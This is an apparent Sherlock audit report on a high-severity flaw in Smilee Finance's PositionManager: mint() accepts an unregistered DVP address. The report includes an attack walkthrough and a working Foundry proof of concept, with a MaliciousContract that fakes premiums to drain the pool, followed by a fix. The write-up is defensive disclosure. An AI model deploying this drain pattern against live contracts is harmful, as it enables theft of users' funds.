Special Saffron Moth

high

# The `PositionManager` can be drained by providing a malicious contract as `DVP` to the mint function

## Summary

The `mint` function in the `PositionManager` contract does not check if the given `DVP` contract address is registered by the Smilee admins. Therefore any arbitrary contract address can be used. This enables a direct attack path to drain the `PositionManager` contract.

## Vulnerability Detail

Here we can see the vulnerability in the `mint` function:

```solidity
function mint(
    IPositionManager.MintParams calldata params
) external override returns (uint256 tokenId, uint256 premium) {
    // 1. dvpAddr is not checked to be valid

    IDVP dvp = IDVP(params.dvpAddr);

    ...

    // 2. the PositionManager requests the expected premium from the malicious DVP contract
    uint256 obtainedPremium;
    uint256 fee;
    (obtainedPremium, fee) = dvp.premium(params.strike, params.notionalUp, params.notionalDown);

    // 3. the expected premium is sent from the attacker to the PositionManager
    IERC20 baseToken = IERC20(dvp.baseToken());
    baseToken.safeTransferFrom(msg.sender, address(this), obtainedPremium);

    // 4. The PositionManager approves the given premium amt to the malicious contract
    baseToken.safeApprove(params.dvpAddr, obtainedPremium);

    // 5. The malicious contract returns a seconds premium amount of one wei
    premium = dvp.mint(
        address(this),
        params.strike,
        params.notionalUp,
        params.notionalDown,
        params.expectedPremium,
        params.maxSlippage,
        params.nftAccessTokenId
    );

    // 6. The PositionManager transfers the difference between the two received premium amts to the attacker
    if (obtainedPremium > premium) {
        baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);
    }
}
```

This enables the following attack path:

- The attacker creates a malicious contract that acts like it's a DVP contract
- The attacker approves x baseTokens to the `PositionManager` contract
- The attacker calls `mint` with the malicious contract as `DVP` address
- The `PositionManager` requests the expected premium from the malicious contract which returns an amount of x
- The `PositionManager` transfer x baseTokens from the attacker to itself
- The `PositionManager` approves x baseTokens to the malicious contract
- The `PositionManager` calls `mint` on the malicious contract
- The malicious contract transfers the approved x tokens back to the attacker and returns a premium of 1 wei
- The `PositionManager` transfers the difference (x - 1) to the attacker
- Now the attacker has x \* 2 - 1 base tokens and the PositionManager lost x - 1 base tokens

There is also another bug in this flow which would often lead to reverts and prevent normal users, as well as the attack in this case, to interact with the `PositionManager`. The excess premium paid is sent back with the `transferFrom` instead of the `transfer` function. Therefore depending on the implementation of the given base token, this function call will revert as the `PostionManager` would need to approve the tokens to itself. Therefore change this line to `safeTransfer` instead:

```solidity
if (obtainedPremium > premium) {
    baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);
}
```

The following POC can be implemented in the `PositionManager.t.sol` test file (the mentioned safeTransferFrom must be changed to `safeTransfer` to make it work as the OZ ERC20 implementation does not check if the given from address to `transferFrom` is the caller itself):

```solidity
// imports and contracts needed for the POC
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract USDC is ERC20 {
    constructor() ERC20("USDC", "USDC") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract MaliciousContract {
    struct Epoch {
        uint256 current;
        uint256 previous;
        uint256 frequency;
        uint256 numberOfRolledEpochs;
        uint256 firstEpochTimespan;
    }

    Epoch epoch;

    address public immutable baseToken;
    address attacker;

    constructor(address _baseToken, address _attacker) {
        baseToken = _baseToken;
        attacker = _attacker;

        epoch.firstEpochTimespan = 100;
        epoch.current = 1;
        epoch.previous = 0;
        epoch.frequency = 100;
        epoch.numberOfRolledEpochs = 0;
    }

    function mint(
        address recipient,
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown,
        uint256 expectedPremium,
        uint256 maxSlippage,
        uint256 nftAccessTokenId
    ) external returns (uint256 premium_) {
        recipient;
        strike;
        amountUp;
        amountDown;
        expectedPremium;
        maxSlippage;
        nftAccessTokenId;

        IERC20(baseToken).transferFrom(msg.sender, attacker, 100e18);

        return 1;
    }

    function premium(
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown
    ) public view returns (uint256 premium_, uint256 fee) {
        strike;
        amountUp;
        amountDown;

        return (100e18, 1e18);
    }

    function getEpoch() public view returns (Epoch memory) {
        return epoch;
    }
}

contract PositionManagerTest is Test {
    ...
    // import into the current tests
    function testDrainPositionManager() public {
        // the position manager and the attacker both start with 100 base tokens

        USDC usdc = new USDC();

        usdc.mint(address(pm), 100e18);
        usdc.mint(alice, 100e18);

        assertEq(usdc.balanceOf(address(pm)), 100e18);
        assertEq(usdc.balanceOf(alice), 100e18);

        vm.prank(alice);
        usdc.approve(address(pm), 100e18);

        // attacker uses a malicious contract as DVP address
        MaliciousContract maliciousContract = new MaliciousContract(address(usdc), alice);

        vm.prank(alice);
        pm.mint(
            IPositionManager.MintParams({
                dvpAddr: address(maliciousContract),
                notionalUp: 10 ether,
                notionalDown: 0,
                strike: 5e18,
                recipient: alice,
                tokenId: 0,
                expectedPremium: 1e18,
                maxSlippage: 0.1e18,
                nftAccessTokenId: 0
            })
        );

        // the attacker drained all funds (except from 1 wei)
        assertEq(usdc.balanceOf(address(pm)), 1);
        assertEq(usdc.balanceOf(alice), 200e18 - 1);
    }

    ...
}
```

## Impact

The `PositionManger` contract can be fully drained in a direct attack path.

## Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/periphery/PositionManager.sol#L121-L141

## Tool used

Manual Review

## Recommendation

Check if the given DVP address is registered by the admins of the Smilee protocol and change `safeTransferFrom` to `safeTransfer` when returning excess premiums.
